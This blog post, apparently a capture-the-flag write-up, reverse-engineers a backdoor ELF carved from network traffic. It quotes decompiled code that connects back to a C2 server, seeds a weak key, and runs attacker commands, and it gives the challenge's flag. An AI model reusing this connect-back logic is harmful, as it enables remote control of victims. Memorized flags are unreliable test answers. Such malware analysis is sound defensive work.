news 2026/4/7 12:13:21

流量分析_SnakeBackdoor-5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
流量分析_SnakeBackdoor-5

SnakeBackdoor-5

根据题目5的要求分析,这题涉及流量文件提取二进制逆向分析

基于之前的分析,我们已经知道攻击者下载了一个名为 shell.zip 的压缩包,并解压出了一个 ELF 二进制文件(在题目4中被重命名为 python3.13)

所以我们需要先将流量中的shell.zip文件提取出来,然后使用IDA进行逆向分析,定位网络通信函数,找到加密密钥,解题思路如下:

解题思路: 1、提取样本:从 Wireshark 流量中将 shell.zip 提取出来。 2、解压样本:使用题目 4 获得的密码 nf2jd092jd01 解压得到 ELF 文件。 3、逆向分析:使用 IDA Pro 或 Ghidra 打开 ELF 文件,定位网络通信函数,找出硬编码的加密密钥。 4、格式转换:将找到的字符串或字节流密钥转换为题目要求的小写 Hex 格式。

1、提取木马本题文件

由题目4的分析结果知道,木马本题文件为shell.zip,并且使用密码nf2jd092jd01进行了加密

在 Wireshark 过滤器栏输入:http contains "shell.zip"(或者更精准地: http.request.uri contains "shell.zip")

点击菜单栏的 File (文件) => Export Objects (导出对象) => HTTP

在弹出的列表中,在文本过滤器中搜做".zip",找到文件名为 shell.zip 的那一行(Content-Type 通常为 application/zip),保存即可

2、解密压缩包

打开shell.zip压缩包,是经过加密的,输入题目4中得出的密码nf2jd092jd01,得到里面的木马本体二进制文件

3、逆向分析加密密钥

将shell二进制文件拖进IDA中

我们需要定位到网络通信函数,先找C2 服务器通信,密钥通常硬编码在数据段中

选择import窗口,找到inet_addr,双击定位到函数,选中函数,然后按下X键

双击.got.plt,选中地址或者函数,再次按X,弹窗之后再双击_inet_addr

选中_inet_addr,一样的操作,得到main函数的流程图视图

F5反编译得到伪代码

分析代码,是一个Linux C 语言编写的后门客户端
它的核心功能是:主动连接攻击者的服务器,通过某种协商机制生成加密密钥,然后循环接收攻击者的加密指令,执行后将结果加密回传

首先网络连接初始化,负责建立与 C2 服务器的 TCP 连接,IP: "192.168.1.201" 目标端口: 0xE59E(十进制为58782)

fd = socket(2, 1, 0); // 1. 创建套接字 (AF_INET=2, SOCK_STREAM=1) if ( fd < 0 ) exit(1); // 创建失败则退出 memset(&s, 48, 0x10uLL); // 初始化 sockaddr 结构体 s = 2; // 地址族 AF_INET v15 = inet_addr("192.168.1.201"); // 2. 目标 IP 地址 v14 = htons(0xE59Eu); // 3. 目标端口 // 4. 发起连接 if ( connect(fd, (const struct sockaddr *)&s, 0x10u) < 0 ) { close(fd); exit(1); }

连接成功后,进行密钥协商与生成,木马没有直接发送数据,而是进行了一次“握手”来生成加密通信所需的密钥

这是一个基于 “种子同步” 的弱加密方案,使用4字节的随机数种子,生成16字节的密钥

// 1. 接收 4 字节数据 (Seed) if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 ) ... // 2. 字节序转换 (Big-Endian 转 Little-Endian) seed = (*(_DWORD *)&v7 >> 8) & 0xFF00 | ... ; // 3. 设置随机数种子 srand(seed); // 4. 生成 16 字节密钥 for ( i = 0; i <= 3; ++i ) *(_DWORD *)&v8[4 * i] = rand(); // v8 就是最终的 Session Key // 5. 初始化加密上下文 (sub_13B4 可能是 KeyExpansion) sub_13B4(&v10, v8, 0LL); // 初始化解密上下文 v10 sub_13B4(&v9, v8, 1LL); // 初始化加密上下文 v9

所以我们需要找到连接初期这 4 个字节的随机种子,然后在本地写代码模拟 srand 和 rand,从而计算出当次会话的所有加密密钥。

返回流量包,过滤出前面找到的IP和端口,在找出长度为4字节的数据包

ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len == 4

查看数据包中的数据内容

第一个数据包中的数据Data: 34952046是我们想要的4字节随机种子

后面数据包中的数据Data: 00000010、Data: 00000030等等,正好是 AES/RC4 等加密算法的常见块大小,或者是填充后的指令长度

4、编写脚本模拟计算出密钥

编写脚本

#include <stdio.h> #include <stdlib.h> #include <stdint.h> int main() { // 1. 设置你在 Wireshark 里找到的种子 // 数据包里的 hex 是 34 95 20 46,对应整数 0x34952046 unsigned int seed = 0x34952046; printf("[*] Seed: 0x%X\n", seed); // 2. 初始化随机数生成器 (模拟木马逻辑) srand(seed); printf("[+] Flag: flag{"); // 3. 生成 16 字节密钥 (4次 rand) for(int i = 0; i < 4; i++) { int r = rand(); // 模拟 Python 的 struct.pack("<I", r) -> 小端序输出 unsigned char *p = (unsigned char *)&r; printf("%02x%02x%02x%02x", p[0], p[1], p[2], p[3]); } printf("}\n"); return 0; }

可以使用在线C语言编译器:https://www.onlinegdb.com/online_c_compiler

最终得到flag{ac46fb610b313b4f32fc642d8834b456}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/1 22:39:15

基于Java的天花吊顶业务智慧管理系统的设计与实现全方位解析:附毕设论文+源代码

1. 为什么这个毕设项目值得你 pick ? 天花吊顶业务智慧管理系统主要功能模块涵盖了公司管理、员工管理、材料管理等十余个方面&#xff0c;旨在实现数据的高效录入与查阅。相比传统选题&#xff0c;“烂大街”的系统大都局限于单一领域或基础功能&#xff0c;而本系统的全方位…

作者头像 李华
网站建设 2026/4/3 3:57:50

2026年,预训练又回来了!非常详细收藏我这一篇就够了

scaling law 开始停滞不前&#xff0c;大家逐渐意识到真正重要的是强化学习。 过去一年中&#xff0c;绝大多数进展正是由这一方法推动的。然而事实证明&#xff0c;这种判断是错的。就连OpenAI这样的顶尖实验室也被打了个措手不及&#xff0c;并为此付出了代价。 下面我将解释…

作者头像 李华
网站建设 2026/3/25 16:55:21

Windows系统软件DLL运行库文件 免费下载方法

在使用电脑系统时经常会出现丢失找不到某些文件的情况&#xff0c;由于很多常用软件都是采用 Microsoft Visual Studio 编写的&#xff0c;所以这类软件的运行需要依赖微软Visual C运行库&#xff0c;比如像 QQ、迅雷、Adobe 软件等等&#xff0c;如果没有安装VC运行库或者安装…

作者头像 李华